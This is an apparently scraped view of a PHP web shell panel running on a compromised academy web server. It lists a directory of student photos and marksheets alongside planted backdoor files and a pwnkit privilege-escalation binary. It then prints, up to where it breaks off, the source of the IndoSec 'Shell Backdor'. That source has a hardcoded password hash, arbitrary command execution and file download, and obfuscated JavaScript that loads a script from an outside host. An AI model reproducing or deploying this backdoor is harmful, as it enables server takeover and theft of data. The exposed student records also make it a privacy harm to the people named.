Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
finalho /
public_html /
img /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
000_page-0001.jpg
910.33
KB
-rw-r--r--
1-8.png
812.08
KB
-rw-r--r--
12354_page-0001.jpg
1.03
MB
-rw-r--r--
23da2a84-6615-44e3-9d45-3b938b...
146.05
KB
-rw-r--r--
687a4e94-34c2-42e6-bdec-603712...
355.23
KB
-rw-r--r--
ARAV1.jpg
2.51
MB
-rw-r--r--
ARAV2.jpg
2.07
MB
-rw-r--r--
ARAVSHARMA.jpg
2.51
MB
-rw-r--r--
ARAVSHARMA1.jpg
2.12
MB
-rw-r--r--
Arav Sharma.pdf
14.76
MB
-rw-r--r--
Arav Tally back side_page-0001...
839.61
KB
-rw-r--r--
BACK VINEET_page-0001.jpg
909.91
KB
-rw-r--r--
CHANCHAL1.jpg
2.51
MB
-rw-r--r--
CHANCHAL2.jpg
2.24
MB
-rw-r--r--
DEVANSHU_page-0001.jpg
1.03
MB
-rw-r--r--
IMG-20240109-WA0009.jpg
177.04
KB
-rw-r--r--
IMG-20251017-WA0002.jpg
64.45
KB
-rw-r--r--
IMG_20260102_180528.jpg
1.22
MB
-rw-r--r--
Laxmi_page-0001 (1).jpg
1.02
MB
-rw-r--r--
MANISH BASIC.jpg
1.07
MB
-rw-r--r--
NAVEEN.jpg
2.5
MB
-rw-r--r--
NAVEEN.pdf
14.86
MB
-rw-r--r--
NAVEEN1.jpg
2.08
MB
-rw-r--r--
NAVEEN2.jpg
2.6
MB
-rw-r--r--
NEHA.jpg
2.49
MB
-rw-r--r--
PAWAN1.jpg
2.62
MB
-rw-r--r--
PAWAN2.jpg
2.18
MB
-rw-r--r--
RAJNI MAM-1.png
797.41
KB
-rw-r--r--
RITIK.jpg
2.53
MB
-rw-r--r--
SAHIL1.jpg
2.5
MB
-rw-r--r--
SAHIL2.jpg
2.08
MB
-rw-r--r--
SUMIT.jpg
2.5
MB
-rw-r--r--
Screenshot_2025-10-18-11-44-27...
927.17
KB
-rw-r--r--
VINEET KUMAR_page-0001.jpg
1.02
MB
-rw-r--r--
VISHALMISHRA.jpg
2.65
MB
-rw-r--r--
WhatsApp Image 2026-01-09 at 1...
146.31
KB
-rw-r--r--
WhatsApp Image 2026-01-09 at 4...
218.19
KB
-rw-r--r--
WhatsApp Image 2026-01-09 at 4...
163.97
KB
-rw-r--r--
WhatsApp Image 2026-01-09 at 4...
174.76
KB
-rw-r--r--
WhatsApp Image 2026-01-09 at 5...
198.25
KB
-rw-r--r--
a1.jpg
377.21
KB
-rw-r--r--
a2.jpg
376.75
KB
-rw-r--r--
ab.jpg
895.69
KB
-rw-r--r--
abha.jpg
1.07
MB
-rw-r--r--
about.jpg
50.37
KB
-rw-r--r--
af.jpg
1.01
MB
-rw-r--r--
aff1.png
12.57
KB
-rw-r--r--
aff2.png
29.03
KB
-rw-r--r--
aff3.png
43.52
KB
-rw-r--r--
aff4.png
15.99
KB
-rw-r--r--
aff5.png
16.92
KB
-rw-r--r--
aff6.png
14.23
KB
-rw-r--r--
aff7.png
12.25
KB
-rw-r--r--
ajitsir.jpeg
14.49
KB
-rw-r--r--
alfa.php
452.92
KB
-rw-r--r--
aman_page-0001.jpg
1.03
MB
-rw-r--r--
anilback.jpg
2.51
MB
-rw-r--r--
anilfront.jpg
2.09
MB
-rw-r--r--
anita.jpg
1.07
MB
-rw-r--r--
assam5.webp
44.62
KB
-rw-r--r--
basic marksheet front page-1.p...
1.13
MB
-rw-r--r--
basic-marksheet-front-page.jpg
1.04
MB
-rw-r--r--
blog.jpg
100.77
KB
-rw-r--r--
blog1.jpg
46.05
KB
-rw-r--r--
c1.jpg
70.58
KB
-rw-r--r--
c10.jpg
478.8
KB
-rw-r--r--
c11.png
33.55
KB
-rw-r--r--
c12.jpg
58.33
KB
-rw-r--r--
c13.jpg
112.85
KB
-rw-r--r--
c14.jpeg
9.14
KB
-rw-r--r--
c15.jpg
169.61
KB
-rw-r--r--
c16.png
23.95
KB
-rw-r--r--
c17.webp
18.76
KB
-rw-r--r--
c18.png
7.22
KB
-rw-r--r--
c2.jpg
465.16
KB
-rw-r--r--
c3.jpg
26.93
KB
-rw-r--r--
c4.jpg
64.48
KB
-rw-r--r--
c5.jpg
225.91
KB
-rw-r--r--
c6.jpg
34.02
KB
-rw-r--r--
c7.png
49.22
KB
-rw-r--r--
c8.jpg
33.54
KB
-rw-r--r--
c9.jpg
113.95
KB
-rw-r--r--
carousel-1.jpg
61.84
KB
-rw-r--r--
carousel-2.jpg
55.82
KB
-rw-r--r--
cat-1.jpg
31.78
KB
-rw-r--r--
cat-2.jpg
30.37
KB
-rw-r--r--
cat-3.jpg
33.24
KB
-rw-r--r--
cat-4.jpg
31.9
KB
-rw-r--r--
certi1.jpeg
87.04
KB
-rw-r--r--
certi2.jpeg
84.13
KB
-rw-r--r--
certi3.jpeg
131.01
KB
-rw-r--r--
course-1.jpg
19.2
KB
-rw-r--r--
course-2.jpg
22.66
KB
-rw-r--r--
course-3.jpg
25.59
KB
-rw-r--r--
deepanjali.jpg
181.86
KB
-rw-r--r--
dev.jpg
18.84
KB
-rw-r--r--
dev2.jpg
31.59
KB
-rw-r--r--
dev3.jpg
27.24
KB
-rw-r--r--
education1.jpg
155.65
KB
-rw-r--r--
education1.png
21
KB
-rw-r--r--
education10.jpg
39.82
KB
-rw-r--r--
featuress.jpg
90.81
KB
-rw-r--r--
final1.jpg
19.2
KB
-rw-r--r--
final2.jpg
22.66
KB
-rw-r--r--
final3.jpg
25.59
KB
-rw-r--r--
final4.jpg
22.66
KB
-rw-r--r--
final5.jpg
25.59
KB
-rw-r--r--
final6.jpg
19.2
KB
-rw-r--r--
finalhope.jpg
2.36
KB
-rw-r--r--
finalhope.png
305.82
KB
-rw-r--r--
finalhope1.jpg
4.84
KB
-rw-r--r--
gallery.jpeg
41.96
KB
-rw-r--r--
gallery1.jpeg
88.62
KB
-rw-r--r--
gallery10.jpeg
152.52
KB
-rw-r--r--
gallery100.jpeg
74.08
KB
-rw-r--r--
gallery101.jpeg
81.88
KB
-rw-r--r--
gallery102.jpeg
111.5
KB
-rw-r--r--
gallery103.jpeg
132.15
KB
-rw-r--r--
gallery104.jpeg
105.61
KB
-rw-r--r--
gallery105.jpeg
136.2
KB
-rw-r--r--
gallery106.jpeg
146.01
KB
-rw-r--r--
gallery107.jpeg
112.12
KB
-rw-r--r--
gallery108.jpeg
163.44
KB
-rw-r--r--
gallery109.jpeg
113.6
KB
-rw-r--r--
gallery11.jpeg
95.16
KB
-rw-r--r--
gallery110.jpeg
166.61
KB
-rw-r--r--
gallery111.jpeg
108.79
KB
-rw-r--r--
gallery112.jpeg
93.38
KB
-rw-r--r--
gallery113.jpeg
58.97
KB
-rw-r--r--
gallery114.jpeg
55.55
KB
-rw-r--r--
gallery115.jpeg
69.26
KB
-rw-r--r--
gallery116.jpeg
58.62
KB
-rw-r--r--
gallery117.jpeg
99.55
KB
-rw-r--r--
gallery118.jpeg
70.66
KB
-rw-r--r--
gallery119.jpeg
63.92
KB
-rw-r--r--
gallery12.jpeg
14.49
KB
-rw-r--r--
gallery120.jpeg
71.6
KB
-rw-r--r--
gallery121.jpeg
77.39
KB
-rw-r--r--
gallery122.jpeg
50.33
KB
-rw-r--r--
gallery123.jpeg
76.08
KB
-rw-r--r--
gallery124.jpeg
67.58
KB
-rw-r--r--
gallery125.jpeg
93.37
KB
-rw-r--r--
gallery126.jpeg
110
KB
-rw-r--r--
gallery127.jpeg
141.84
KB
-rw-r--r--
gallery128.jpeg
108.79
KB
-rw-r--r--
gallery129.jpeg
62.13
KB
-rw-r--r--
gallery13.jpeg
112.28
KB
-rw-r--r--
gallery130.jpeg
126.01
KB
-rw-r--r--
gallery131.jpeg
135.74
KB
-rw-r--r--
gallery132.jpeg
118.2
KB
-rw-r--r--
gallery133.jpeg
117.08
KB
-rw-r--r--
gallery134.jpeg
108.18
KB
-rw-r--r--
gallery135.jpeg
82.42
KB
-rw-r--r--
gallery136.jpeg
110.64
KB
-rw-r--r--
gallery137.jpeg
129.32
KB
-rw-r--r--
gallery138.jpeg
110.59
KB
-rw-r--r--
gallery139.jpeg
74.27
KB
-rw-r--r--
gallery14.jpeg
138.36
KB
-rw-r--r--
gallery140.jpeg
77.25
KB
-rw-r--r--
gallery141.jpeg
90.93
KB
-rw-r--r--
gallery142.jpeg
89.98
KB
-rw-r--r--
gallery143.jpeg
112.56
KB
-rw-r--r--
gallery144.jpeg
116.31
KB
-rw-r--r--
gallery145.jpeg
116.42
KB
-rw-r--r--
gallery146.jpeg
114.71
KB
-rw-r--r--
gallery147.jpeg
90.69
KB
-rw-r--r--
gallery148.jpeg
107.81
KB
-rw-r--r--
gallery149.jpeg
146.39
KB
-rw-r--r--
gallery15.jpeg
168.73
KB
-rw-r--r--
gallery150.jpeg
145.98
KB
-rw-r--r--
gallery151.jpeg
88.24
KB
-rw-r--r--
gallery152.jpeg
117.71
KB
-rw-r--r--
gallery153.jpeg
103.36
KB
-rw-r--r--
gallery154.jpeg
132.71
KB
-rw-r--r--
gallery155.jpeg
151.03
KB
-rw-r--r--
gallery156.jpeg
164.71
KB
-rw-r--r--
gallery157.jpeg
139.44
KB
-rw-r--r--
gallery158.jpeg
135.29
KB
-rw-r--r--
gallery159.jpeg
148.03
KB
-rw-r--r--
gallery16.jpeg
85.88
KB
-rw-r--r--
gallery160.jpeg
161.09
KB
-rw-r--r--
gallery161.jpeg
98.43
KB
-rw-r--r--
gallery162.jpeg
156.06
KB
-rw-r--r--
gallery163.jpeg
91.86
KB
-rw-r--r--
gallery164.jpeg
174.71
KB
-rw-r--r--
gallery165.jpeg
88.63
KB
-rw-r--r--
gallery166.jpeg
496.79
KB
-rw-r--r--
gallery167.jpeg
165.09
KB
-rw-r--r--
gallery168.jpeg
119.43
KB
-rw-r--r--
gallery169.jpeg
120.17
KB
-rw-r--r--
gallery17.jpeg
83.59
KB
-rw-r--r--
gallery170.jpeg
178.14
KB
-rw-r--r--
gallery171.jpeg
164.31
KB
-rw-r--r--
gallery172.jpeg
80.08
KB
-rw-r--r--
gallery173.jpeg
65.08
KB
-rw-r--r--
gallery174.jpeg
79.67
KB
-rw-r--r--
gallery175.jpeg
91.28
KB
-rw-r--r--
gallery176.jpeg
95.61
KB
-rw-r--r--
gallery177.jpeg
94.94
KB
-rw-r--r--
gallery178.jpeg
56.39
KB
-rw-r--r--
gallery179.jpeg
40.6
KB
-rw-r--r--
gallery18.jpeg
127.63
KB
-rw-r--r--
gallery180.jpeg
86.04
KB
-rw-r--r--
gallery181.jpeg
83.49
KB
-rw-r--r--
gallery182.jpeg
118.11
KB
-rw-r--r--
gallery183.jpeg
130.02
KB
-rw-r--r--
gallery184.jpeg
125.02
KB
-rw-r--r--
gallery185.jpeg
112.22
KB
-rw-r--r--
gallery186.jpeg
118.35
KB
-rw-r--r--
gallery187.jpeg
118.63
KB
-rw-r--r--
gallery188.jpeg
119.68
KB
-rw-r--r--
gallery189.jpeg
168.32
KB
-rw-r--r--
gallery19.jpeg
154.28
KB
-rw-r--r--
gallery2.jpeg
113.22
KB
-rw-r--r--
gallery20.jpeg
140.37
KB
-rw-r--r--
gallery21.jpeg
126.05
KB
-rw-r--r--
gallery22.jpeg
79.67
KB
-rw-r--r--
gallery23.jpeg
233.38
KB
-rw-r--r--
gallery24.jpeg
230.25
KB
-rw-r--r--
gallery25.jpeg
167.81
KB
-rw-r--r--
gallery26.jpeg
874.63
KB
-rw-r--r--
gallery27.jpeg
130.76
KB
-rw-r--r--
gallery28.jpeg
112.17
KB
-rw-r--r--
gallery29.jpeg
97.33
KB
-rw-r--r--
gallery3.jpeg
30.99
KB
-rw-r--r--
gallery30.jpeg
714.7
KB
-rw-r--r--
gallery31.jpeg
75.64
KB
-rw-r--r--
gallery32.jpeg
82.97
KB
-rw-r--r--
gallery33.jpeg
71.17
KB
-rw-r--r--
gallery34.jpeg
98.9
KB
-rw-r--r--
gallery35.jpeg
104.43
KB
-rw-r--r--
gallery36.jpeg
73.79
KB
-rw-r--r--
gallery37.jpeg
80.25
KB
-rw-r--r--
gallery38.jpeg
133.49
KB
-rw-r--r--
gallery39.jpeg
125.33
KB
-rw-r--r--
gallery4.jpeg
142.42
KB
-rw-r--r--
gallery40.jpeg
84.29
KB
-rw-r--r--
gallery41.jpeg
111.48
KB
-rw-r--r--
gallery42.jpeg
100
KB
-rw-r--r--
gallery43.jpeg
101.6
KB
-rw-r--r--
gallery44.jpeg
133.18
KB
-rw-r--r--
gallery45.jpeg
92.02
KB
-rw-r--r--
gallery46.jpeg
138.42
KB
-rw-r--r--
gallery47.jpeg
151.69
KB
-rw-r--r--
gallery48.jpeg
133.17
KB
-rw-r--r--
gallery49.jpeg
173.01
KB
-rw-r--r--
gallery5.jpeg
262.65
KB
-rw-r--r--
gallery50.jpeg
133.34
KB
-rw-r--r--
gallery51.jpeg
126.29
KB
-rw-r--r--
gallery52.jpeg
73.78
KB
-rw-r--r--
gallery53.jpeg
119.6
KB
-rw-r--r--
gallery54.jpeg
92.38
KB
-rw-r--r--
gallery55.jpeg
153.37
KB
-rw-r--r--
gallery56.jpeg
141.83
KB
-rw-r--r--
gallery57.jpeg
126.55
KB
-rw-r--r--
gallery58.jpeg
132.59
KB
-rw-r--r--
gallery59.jpeg
132.37
KB
-rw-r--r--
gallery6.jpeg
60.32
KB
-rw-r--r--
gallery60.jpeg
83.6
KB
-rw-r--r--
gallery61.jpeg
90.49
KB
-rw-r--r--
gallery62.jpeg
85.06
KB
-rw-r--r--
gallery63.jpeg
90.75
KB
-rw-r--r--
gallery64.jpeg
113.69
KB
-rw-r--r--
gallery65.jpeg
81.13
KB
-rw-r--r--
gallery66.jpeg
91.01
KB
-rw-r--r--
gallery67.jpeg
98.2
KB
-rw-r--r--
gallery68.jpeg
99.26
KB
-rw-r--r--
gallery69.jpeg
92.42
KB
-rw-r--r--
gallery7.jpeg
155.48
KB
-rw-r--r--
gallery70.jpeg
100.51
KB
-rw-r--r--
gallery71.jpeg
130.96
KB
-rw-r--r--
gallery72.jpeg
69.86
KB
-rw-r--r--
gallery73.jpeg
84.3
KB
-rw-r--r--
gallery74.jpeg
674.2
KB
-rw-r--r--
gallery75.jpeg
145.83
KB
-rw-r--r--
gallery76.jpeg
154.01
KB
-rw-r--r--
gallery77.jpeg
165.92
KB
-rw-r--r--
gallery78.jpeg
157.91
KB
-rw-r--r--
gallery79.jpeg
112.95
KB
-rw-r--r--
gallery8.jpeg
98.76
KB
-rw-r--r--
gallery80.jpeg
89.93
KB
-rw-r--r--
gallery81.jpeg
124.13
KB
-rw-r--r--
gallery82.jpeg
88.24
KB
-rw-r--r--
gallery83.jpeg
166.62
KB
-rw-r--r--
gallery84.jpeg
167.92
KB
-rw-r--r--
gallery85.jpeg
124.38
KB
-rw-r--r--
gallery86.jpeg
121.5
KB
-rw-r--r--
gallery87.jpeg
155.57
KB
-rw-r--r--
gallery88.jpeg
129.39
KB
-rw-r--r--
gallery89.jpeg
121.62
KB
-rw-r--r--
gallery9.jpeg
146.79
KB
-rw-r--r--
gallery90.jpeg
101.93
KB
-rw-r--r--
gallery91.jpeg
111.41
KB
-rw-r--r--
gallery92.jpeg
91.54
KB
-rw-r--r--
gallery93.jpeg
208.6
KB
-rw-r--r--
gallery94.jpeg
86.45
KB
-rw-r--r--
gallery95.jpeg
169.89
KB
-rw-r--r--
gallery96.jpeg
143.71
KB
-rw-r--r--
gallery97.jpeg
144.18
KB
-rw-r--r--
gallery98.jpeg
146.89
KB
-rw-r--r--
gallery99.jpeg
74.35
KB
-rw-r--r--
gaurav (1).zip
171.61
KB
-rw-r--r--
gaurav.jpg
178.58
KB
-rw-r--r--
geck.php
68.74
KB
-rw-r--r--
grocery.jpeg
6.87
KB
-rw-r--r--
guwati.jpg
19.42
KB
-rw-r--r--
hemant tally mark sheet.jpg
1.07
MB
-rw-r--r--
human.png
4.25
KB
-rw-r--r--
info3.jpg
113.15
KB
-rw-r--r--
input_news.php
66.27
KB
-rw-r--r--
israt.jpg
1.06
MB
-rw-r--r--
kaif.jpg
391.38
KB
-rw-r--r--
logg.php
66.24
KB
-rw-r--r--
madhu.jpg
1.06
MB
-rw-r--r--
naveen .pdf
10.67
MB
-rw-r--r--
pawan.jpg
1.09
MB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
rajan pdf 2-1.png
704.1
KB
-rw-r--r--
rajan pdf-1.png
1.14
MB
-rw-r--r--
rajan.jpg
123.32
KB
-rw-r--r--
rajni.jpeg
64.54
KB
-rw-r--r--
raushan.jpg
2.53
MB
-rw-r--r--
ritik eng typing certificate_p...
1.03
MB
-rw-r--r--
ritu tally.jpg
1.06
MB
-rw-r--r--
rose.jpg
67.26
KB
-rw-r--r--
sahin 1.jpg
1.07
MB
-rw-r--r--
sandeep (5).png
310
B
-rw-r--r--
shivam1.jpg
2.62
MB
-rw-r--r--
shivam2.jpg
2.18
MB
-rw-r--r--
shivani typing 1235_page-0001....
1.03
MB
-rw-r--r--
shivani typing speed certifica...
1.03
MB
-rw-r--r--
sikender1.jpg
2.56
MB
-rw-r--r--
sikender2.jpg
2.23
MB
-rw-r--r--
sukhvinder.jpg
2.49
MB
-rw-r--r--
team-1.jpg
18.84
KB
-rw-r--r--
team-2.jpg
15.81
KB
-rw-r--r--
team-3.jpg
31.59
KB
-rw-r--r--
team-4.jpg
27.24
KB
-rw-r--r--
testimonial-1.jpg
3.37
KB
-rw-r--r--
testimonial-2.jpg
3.43
KB
-rw-r--r--
testimonial-3.jpg
2.99
KB
-rw-r--r--
testimonial-4.jpg
3.19
KB
-rw-r--r--
yoboimage (3).png
712.18
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : logg.php
<?php /* * Konsep Shell : Brillyan -Founder { IndoSec }- * Pembuat : Holiq -Member { IndoSec }- * Re-Code Boleh Asal Dah Izin Sama Pembuat, Ganti Author & Re-Code Tanpa Seizin Pembuat... Fix Lo Noob Anjenk, Klo Kga Bisa Bikin Cek * Chanel IndoSec, Ada Tutornya, Jangan Cuma Bisa Ganti Author Doank Bangsad * Thanks For All Member { IndoSec }, Yang Telah Membantu Proses Pembuatan Shell,Dan Dari Shell Lain Untuk Inspirasinya * { IndoSec sHell } * Untuk Tools Yang Lain Akan Ditambahkan DiVersi Berikutnya.. * �2019 { IndoSec } -Holiq- */ session_start(); error_reporting(0); set_time_limit(0); @clearstatcache(); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); @ini_set('display_errors', 0); /* Configurasi */ $auth_pass = "21232f297a57a5a743894a0e4a801fc3";// admin $color = "#00ff00"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'UTF-8'; function login_shell() { ?> <!DOCTYPE html> <html> <head> <meta name="viewport" content="widht=device-widht, initial-scale=1.0"/> <meta name="author" content="Holiq"/> <meta name="copyright" content="{ IndoSec }"/> <title>{ IndoSec sHell }</title> <link rel='icon' type='image/png' href='https://www.indsc.me/images/logo.png'/> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css"/> </head> <body class="bg-dark text-light"> <center> <div class="container" style="margin-top: 15%"> <div class="col-lg-6"> <div class="form-group"> <h1 class="text-center">{ INDOSEC }</h1> <h5 class="text-center pb-5">Shell Backdor</h5> <form method="post"> <input type="password" name="pass" placeholder="USER ID" class="form-control"><br/> <input type="submit" class="btn btn-danger btn-block" class="form-control" value="Login"> </form> </div> </div><a href="https://facebook.com/IndoSecOfficial" class="text-muted fixed-bottom">Copyright 2019 @ { IndoSec }</a><br/> </div> </center> <script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script> </body> </html> <?php exit; } if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) ) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else login_shell(); if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['aksi'] == 'download')) { @ob_clean(); $file = $_GET['file']; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } /*Akhir login*/ ?> <?php function w($dir,$perm) { if(!is_writable($dir)) { return "<font color=red>".$perm."</font>"; } else { return "<font color=lime>".$perm."</font>"; } } function r($dir,$perm) { if(!is_readable($dir)) { return "<font color=red>".$perm."</font>"; } else { return "<font color=lime>".$perm."</font>"; } } function exe($cmd) { if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result) { $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; } } function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } if(isset($_GET['path'])){ $path = $_GET['path']; chdir($path); }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); if(isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } $os = php_uname(); $ip = getHostByName(getHostName()); $ver = phpversion(); $dom = $_SERVER['HTTP_HOST']; $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); $mysql = (function_exists('mysql_connect')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; $curl = (function_exists('curl_version')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; $total = formatSize(disk_total_space($path)); $free = formatSize(disk_free_space($path)); $total1 = disk_total_space($path); $free1 = disk_free_space($path); $used = formatSize($total1 - $free1); function formatSize( $bytes ) { $types = array( 'B', 'KB', 'MB', 'GB', 'TB' ); for( $i = 0; $bytes >= 1024 && $i < ( count( $types ) -1 ); $bytes /= 1024, $i++ ); return( round( $bytes, 2 ) . " " . $types[$i] ); } function ambilKata($param, $kata1, $kata2){ if(strpos($param, $kata1) === FALSE) return FALSE; if(strpos($param, $kata2) === FALSE) return FALSE; $start = strpos($param, $kata1) + strlen($kata1); $end = strpos($param, $kata2, $start); $return = substr($param, $start, $end - $start); return $return; } ?> <html> <head> <meta name="viewport" content="widht=device-widht, initial-scale=1"/> <meta name="author" content="Holiq"/> <meta name="copyright" content="{ IndoSec }"/> <link rel="icon" type="image/png" href="https://www.indsc.me/images/logo.png"/> <title>{ IndoSec sHell }</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.2/css/all.css"/> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"/> <script src="https://code.jquery.com/jquery-3.3.1.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script> </head> <body class="bg-dark text-light"> <script> $(document).ready(function(){ $(window).scroll(function(){ if ($(this).scrollTop() > 700) { $(".scrollToTop").fadeIn(); }else{ $(".scrollToTop").fadeOut(); } }); $(".scrollToTop").click(function(){ $("html, body").animate({scrollTop : 0},1000); return false; }); }); $(document).ready(function() { $('input[type="file"]').on("change", function() { let filenames = []; let files = document.getElementById("customFile").files; if (files.length > 1) { filenames.push("Total Files (" + files.length + ")"); } else { for (let i in files) { if (files.hasOwnProperty(i)) { filenames.push(files[i].name); } } } $(this) .next(".custom-file-label") .html(filenames.join(",")); }); }); </script> <style> @import url(https://fonts.googleapis.com/css?family=Lato); @import url(http://fonts.googleapis.com/css?family=Quicksand); body{margin:0;padding:0;font-family:"Lato";} #tab table thead th{padding:5px;font-size:16px;} #tab tr {border-bottom:1px solid #fff;} #tab tr:hover{background:#5B6F7D; color:#fff;} #tab tr td{padding:5px;} #tab tr td .badge{font-size:13px;} .link, #tab a {color: white;} .active,.active:hover{color:red;} a {font-family:"Quicksand"; color:white;} a:hover{color:dodgerBlue;} .ico {width:25px;} .ico2{width:30px;} .scrollToTop{ position:fixed; bottom:30px; right:30px; width:35px; height:35px; background:#262626; color:#fff; border-radius:15%; text-align:center; opacity:.5; } .scrollToTop:hover{color:#fff;} .up{font-size:20px;line-height:35px;} .lain{color:#888888;font-size:20px;margin-left:5px;top:1px;} .lain:hover{color:#fff;} .tambah{ width:35px; height:35px; line-height:35px; border:1px solid; border-radius:50%; text-align:center; } .fiture{margin:2px;} .tmp{background:#F4F4F4;} .tmp tr td{border:solid 1px #BBBBBB;text-align:center;font-size:13px;} .about{color:#000;} .about .card-body .img{ position: relative; background: url(https://i.postimg.cc/Wb1X4xNS/image.png); background-size: cover; width: 150px; height: 150px; } .butn { position: relative; text-align: center; padding: 3px; background:rgba(225,225,225,.3); -webkit-transition: background 300ms ease, color 300ms ease; transition: background 300ms ease, color 300ms ease; } input[type="radio"].toggle {display:none;} input[type="radio"].toggle + label {cursor:pointer;margin:0 2px;width:60px;} input[type="radio"].toggle + label:after { position: absolute; content: ""; top: 0; background: #fff; height: 100%; width: 100%; z-index: -1; -webkit-transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1); transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1); } input[type="radio"].toggle.toggle-left + label:after {left:100%;} input[type="radio"].toggle.toggle-right + label {margin-left:-5px;} input[type="radio"].toggle.toggle-right + label:after {left:-100%;} input[type="radio"].toggle:checked + label {cursor:default;color:#000;-webkit-transition:color 400ms;transition: color 400ms;} input[type="radio"].toggle:checked + label:after {left:0;} </style> <nav class="navbar static-top navbar-dark"> <button class="navbar-toggler"type="button" data-toggle="collapse" data-target="#info" aria-label="Toggle navigation"> <i style="color:#fff;" class="fa fa-navicon"></i> </button> <div class="collapse navbar-collapse" id="info"> <ul> <a href="https://facebook.com/IndoSecOfficial" class="lain"><i class="fa fa-facebook tambah"></i></a> <a href="https://www.instagram.com/indosec.id" class="lain"><i class="fa fa-instagram tambah"></i></a> <a href="https://www.youtube.com/IndoSec" class="lain"><i class="fa fa-youtube-play tambah"></i></a> <a href="https://github.com/indosecid" class="lain"><i class="fa fa-github tambah"></i></a> <a href="https://indosec.web.id" class="lain"><i class="fa fa-globe tambah"></i></a> </ul> </div> </nav> <?php echo ' <div class="container"> <h1 class="text-center"><a href="https://facebook.com/IndoSecOfficial" style="color:#ffffff;">{ INDOSEC }</h1> <center><h5>Shell Backdor</a></h5></center> <hr/> <div 